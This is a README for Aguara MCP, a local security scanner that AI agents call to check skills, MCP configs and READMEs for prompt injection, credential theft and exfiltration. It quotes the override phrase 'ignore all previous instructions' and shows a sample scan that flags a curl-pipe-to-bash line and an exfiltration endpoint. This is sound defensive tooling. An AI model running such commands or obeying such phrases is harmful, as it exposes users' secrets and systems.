Aguara MCP

Local security checks for AI agents before they trust third-party tools.

Aguara MCP gives Claude Code, Cursor, Windsurf, and any MCP-compatible agent a local tool for reviewing untrusted agent content before acting on it.

When an agent is about to install an MCP server, inspect a skill, read a plugin README, or load a tool configuration, it can call Aguara first. The scan runs locally, inside the MCP server, and returns a structured verdict with findings, severity, remediation, and the rule that triggered.

No LLM calls. No network access. No subprocess to the aguara binary. The MCP server imports Aguara as a Go library and runs the scanner in-process.

Use it to help agents answer questions like:

• Is this MCP config exposing credentials?
• Does this tool description contain prompt injection?
• Is this README asking the agent to run unsafe install commands?
• Does this skill try to read secrets or exfiltrate data?
• Which rule triggered, and why?

The v0.9.0 source pins Aguara commit 8412e8e, a post-v0.28.0 revision that restores direct Python cron-write detection. The exact Go module version is v0.28.1-0.20261101224820-8412e8e5d2d1; this is not a published Aguara v0.28.1 release. Building from source requires Go 1.26 or later. Source changes can precede published binaries; check GitHub Releases for available artifacts. Built on the official MCP SDK (v1, Tier 1).

In v0.9.0, discovery returns a redacted inventory instead of raw local configurations, and scanned content can no longer suppress its own findings with inline Aguara directives. Explicit caller options such as disabled_rules remain supported. Upgrading from v0.8.0: callers that forwarded discovery output to check_mcp_config must instead supply the original configuration JSON; the inventory is not a scan input or a security verdict.

Repository-wide dependency checks (npm, PyPI, pnpm, Go, crates.io, Composer, RubyGems, Maven, NuGet) are still handled by the Aguara CLI:

aguara check .
aguara audit . --ci

These will land as MCP tools in a future release once Aguara core exposes a stable public Check API; see garagon/aguara for the CLI install path.

The problem

AI agents are gaining autonomy. They browse registries, discover tools, install MCP servers, and execute third-party code - often without any security review.

This creates a new attack surface. A skill published to a registry today can contain:

• Prompt injection that hijacks the agent's behavior ("ignore all previous instructions...")
• Credential theft that exfiltrates API keys, tokens, and secrets from the agent's environment
• Remote code execution hidden in install scripts (curl | bash, shell injection)
• Data exfiltration that silently sends user data to attacker-controlled endpoints
• Supply chain attacks through dependency confusion and typosquatting

The agent doesn't know. It can't tell a helpful tool from a weaponized one. The description looks normal. The install succeeds. The damage is done.

This is the gap Aguara MCP fills. It gives the agent a security advisor it can consult as a tool - the same way a developer would run a linter before merging code. One tool call, milliseconds, entirely local. The agent checks first, then decides.

Quick start

curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh

One command, one binary, no external dependencies. The installer verifies SHA256 checksums before extracting and fails closed if no sha256 verifier is available on the host (no silent skip).

Make sure the install directory (~/.local/bin) is in your PATH. The binary is statically linked with the Aguara rule catalog and analyzers compiled in so all MCP scans run fully offline. Aguara core's OSV-derived threat-intel snapshot is not bundled in this binary because the MCP does not expose repository-wide dependency checks yet; use the Aguara CLI for those (see garagon/aguara for install + usage).

Add to your AI agent

Claude Code:

claude mcp add aguara -- aguara-mcp

Claude Desktop - add to claude_desktop_config.json:

{
  "mcpServers": {
    "aguara": {
      "command": "aguara-mcp"
    }
  }
}

Cursor / Windsurf / any MCP client - stdio transport with aguara-mcp.

Your agent now has a security advisor.

Tools

scan_content

Scan text for security threats before acting on it. Works on agent skills, READMEs, tool definitions, MCP server descriptions, prompts, package manifest content (package.json), GitHub Actions workflow YAML when the filename argument contains .github/workflows/, Claude Code settings when filename is .claude/settings.json or .claude/settings.local.json, agent instruction files (.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md), npm install-trust policy when filename is .npmrc or package.json, and pnpm policy when filename is pnpm-workspace.yaml. Detects prompt injection (pattern + NLP), credential leaks, exfiltration, command execution, supply-chain patterns, MCP attacks, package metadata risks, JavaScript / Python / Rust install-time payload shapes, GitHub Actions trust chains, risky agent host configuration, weakened npm / pnpm supply-chain settings, and Unicode/encoding evasion. Sensitive matches are redacted in the response: when a finding is marked Sensitive=true (cred+exfil combos, toxic-flow cred reads, MCP_007) or belongs to the credential-leak category, matched_text is replaced with [REDACTED] so the scanner never creates a second copy of the secret. Supports context-aware false-positive reduction via tool_name.

Returns a structured report with verdict (clean, flag, or block), severity-rated findings with remediation guidance, matched patterns, line numbers, confidence scores, and which analysis engine produced each finding.

check_mcp_config

Check an MCP server configuration (JSON) for security issues before adding it to a client. Detects dangerous command shapes in command/args, credential exposure in env, unsafe argument injection, and tool-poisoning patterns. Use on any mcpServers entry from Claude Desktop, Cursor, VS Code, or other MCP clients before enabling it. Sensitive matches are redacted in the response.

list_rules

Browse the embedded engine's catalog: 259 detections (191 YAML pattern rules + 68 analyzer-emitted rules). Useful when the agent needs to understand a finding or filter by category. Catalog availability is not activation: bundle checks and stateful monitoring are not available through these single-content MCP tools.

explain_rule

Get detailed information about a specific rule by ID. Resolves both YAML rules (returns patterns plus true/false-positive examples) and analyzer-emitted rule IDs from ci-trust, pkgmeta, jsrisk, pyrisk, rsbuild, npm-policy, pnpm-policy, agent-policy, NLP, toxic-flow, and rug-pull (returns severity, category, analyzer name, description, and remediation; analyzer rules have no inline patterns or examples).

discover_mcp

Discover MCP server configurations on the local machine by reading known MCP client config files (Claude Desktop, Cursor, VS Code, Windsurf, and others). Returns client identifiers, response-local config/server IDs, and argument/environment counts. Commands, arguments, environment keys and values, server names, and local paths are withheld because any of these fields can carry credentials or instructions.

Read-only, not a scan: discovery never executes commands or connects to servers. The response is marked kind: "aguara.discovery-inventory", redacted: true, and scan_status: "not_scanned". It is best-effort: unreadable or unsupported configurations may be skipped, so an empty inventory is not evidence that the machine is safe or has no MCP configurations.

This intentionally replaces the raw-definition response. check_mcp_config rejects this inventory; it needs the original configuration JSON to inspect risky commands and credentials. Do not reconstruct a configuration from inventory counts or treat discovery as a security verdict.

No parameters required.

Example

An agent evaluating whether to install an MCP server from a registry:

User: "Install the data-processor MCP server"

Agent (before installing, calls scan_content with the skill README):

→ {
    "summary": "Found 2 issues: 1 critical, 1 high",
    "verdict": "block",
    "findings": [
      {
        "severity": "CRITICAL",
        "rule_id": "SUPPLY_003",
        "rule_name": "Download-and-execute",
        "remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.",
        "line": 12,
        "matched_text": "curl https://cdn.example.com/setup.sh | bash",
        "analyzer": "pattern"
      },
      {
        "severity": "HIGH",
        "rule_id": "EXFIL_001",
        "rule_name": "Data exfiltration endpoint",
        "line": 34,
        "matched_text": "https://collect.example.com/data",
        "confidence": 0.92,
        "analyzer": "nlp"
      }
    ]
  }

Agent: "I scanned the data-processor skill and found 2 security issues:
a script that downloads and executes remote code, and an endpoint that
could exfiltrate your data. I'd recommend not installing it."

Without Aguara MCP, the agent would have installed it silently.

Coverage

The pinned development engine's catalog totals 259 detections (191 YAML pattern rules + 68 analyzer-emitted). The MCP tools analyze one submitted content item at a time:

• Pattern matcher - regex / contains rules covering prompt injection, credential leaks, exfiltration, command execution, supply-chain patterns, MCP attacks, indirect injection, external download, SSRF/cloud, third-party content, and Unicode attacks. Content is NFKC-normalized before scanning to prevent Unicode evasion.
• CI trust - YAML-aware analysis of .github/workflows/*.yml for pwn-request chains, cache poisoning, OIDC token surface, and persisted-credentials checkout patterns. Reachable from MCP when the filename argument contains .github/workflows/.
• PkgMeta - package.json analysis for install-time lifecycle scripts paired with git-sourced dependencies, optional-git deps, and publish-surface chains.
• JSRisk - .js/.mjs/.cjs analysis for obfuscator-shape payloads, install-time daemonization, CI secret harvesting, runner process-memory pivots, GitHub-as-C2 channels, host trust tampering, destructive wipes, and known IOCs (e.g. the May 2026 node-ipc DNS-TXT exfil chain).
• PyRisk - setup.py/__init__.py flow analysis binding a remote JS fetch to a node -e execution sink.
• RSBuild - build.rs flow analysis binding a wallet/keystore read to a network send sink.
• Npm policy - .npmrc and package.json (allowScripts policy) analysis for npm v12 install-trust weakenings: the dangerously-allow-all-scripts escape hatch, unpinned approvals, allow-git/allow-remote relaxations. Reachable from MCP when the filename argument is .npmrc or package.json.
• Pnpm policy - pnpm-workspace.yaml analysis for supply-chain settings weakened below the pnpm v11 defaults. Reachable from MCP when the filename argument is pnpm-workspace.yaml.
• Agent policy - .claude/settings.json analysis for Claude Code host configuration that is dangerous to inherit from a cloned repo (fetch-and-execute hooks, code-injection env vars, bypassPermissions, MCP auto-approval, secret-read allow rules). Reachable from MCP when the filename argument is .claude/settings.json or .claude/settings.local.json.
• NLP - Goldmark-based markdown analysis for prompt-injection, authority-claim, and credential-transmission combos that evade static patterns. Agent instruction files (.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md) are analyzed even without a .md extension and weighted as high-trust prompt surfaces.
• Skill policy - wildcard tool grants in skill frontmatter when the filename is SKILL.md.
• Script risk - Python decode/remote-fetch execution, context exfiltration, world-writable permissions, shell install sources, and persistence. SC-EX-007 retains its identity after moving from a pattern rule into this analyzer.
• MCP capabilities - distinguishes explicit capability grants from drops and denials in supported configuration fields.
• Kubernetes policy - reports explicit SETUID/SETGID additions in supported workload security contexts as contextual findings, not proof of privilege escalation.
• Toxic flow - risky capability combinations within the submitted content. These tools do not submit a directory or correlate separate calls.
• Skill chain - catalog metadata is available, but its bundle analysis is not invoked by these single-content MCP tools.
• Rug-pull - SHA256-based change detection on tool descriptions over time (used by the Aguara CLI; not currently invoked by MCP tools).

See garagon/aguara for the canonical category list and rule IDs.

How it works

Agent                  Aguara MCP
  │                          │
  ├─ scan_content(text) ────►│
  │                          ├─ aguara.ScanContent()
  │                          │  or ScanContentAs() with tool context
  │                          │  (in-process, no disk I/O)
  │                          │  target-appropriate single-content checks
  │                          │  (no bundle scans or stateful monitoring)
  │                          │  NFKC normalization · FP reduction
  │                          │  sensitive matches redacted
  │◄─ verdict + findings ────┤
  │                          │
  ├─ discover_mcp() ────────►│
  │                          ├─ aguara.Discover()
  │                          │  (reads local config files)
  │◄─ redacted inventory ────┤
  │                          │  not a scan; no raw config values
  │                          │

Aguara MCP imports the Aguara scanner as a Go library - no subprocess, no temp files, no external binary. The scan engine runs in-process with version integrity guaranteed by go.sum.

The MCP protocol layer uses the official Go SDK (Tier 1, Linux Foundation governance, v1 semver stability). This ensures protocol compliance and long-term compatibility as the MCP specification evolves.

No network access. No LLM calls. No cloud dependencies. Everything runs locally and deterministically. Scans complete in milliseconds.

Security

See SECURITY.md for the vulnerability disclosure policy.

Aguara MCP is itself security-hardened:

• No subprocess execution - Aguara runs as an in-process Go library, eliminating PATH hijacking and binary substitution risks
• No network calls - every MCP scan is fully offline. The Aguara rule catalog and analyzers are linked in at build time; the OSV-derived threat-intel snapshot is not bundled in the MCP binary because the MCP does not expose repository-wide dependency checks (use the Aguara CLI for those)
• Input validation - Rule IDs validated against strict format, content size capped at 10 MB
• Filename sanitization - Allowlisted characters only, length-capped, no path traversal; the canonical .github/workflows/<basename> prefix is preserved so the ci-trust analyzer can reach workflow YAML
• Sensitivity-based output redaction - Findings marked Sensitive=true by Aguara core (cred+exfil combos, toxic-flow cred reads, MCP_007, MCPCFG_003) or belonging to the credential-leak category have their matched_text replaced with [REDACTED] before the MCP serializes the response; the MCP keeps its own defensive guard in addition to Aguara's in-place scrub
• Signed release pipeline - release binaries are Cosign-signed with SPDX SBOMs attached, the multi-arch Docker image at ghcr.io/garagon/mcp-aguara is signed at digest with SLSA provenance and SBOM attestations. After v0.9.0 artifacts are published, verify with VERSION=v0.9.0 .github/scripts/verify-release.sh.
• Version integrity - Aguara scanner version is pinned in go.sum, verified at build time

Advanced

Debug mode (logs scan details to stderr):

claude mcp add aguara -- aguara-mcp --debug

Build from source:

git clone https://github.com/garagon/mcp-aguara.git
cd mcp-aguara
make build    # → ./aguara-mcp
make test     # runs all tests

Using Aguara as a Go library

Aguara MCP uses the Aguara public API. You can use it in your own tools:

import "github.com/garagon/aguara"

// Basic scan
result, err := aguara.ScanContent(ctx, content, "skill.md",
    aguara.WithMinSeverity(aguara.SeverityHigh),
    aguara.WithDisabledRules("CRED_001"),
)

// Context-aware scan (reduces false positives for known tools)
result, err = aguara.ScanContentAs(ctx, content, "skill.md", "WebFetch",
    aguara.WithScanProfile(aguara.ProfileContentAware),
)

rules := aguara.ListRules(aguara.WithCategory("prompt-injection"))
detail, err := aguara.ExplainRule("PROMPT_INJECTION_001")
discovered, err := aguara.Discover()

See the Aguara documentation for the full API reference.

License

MIT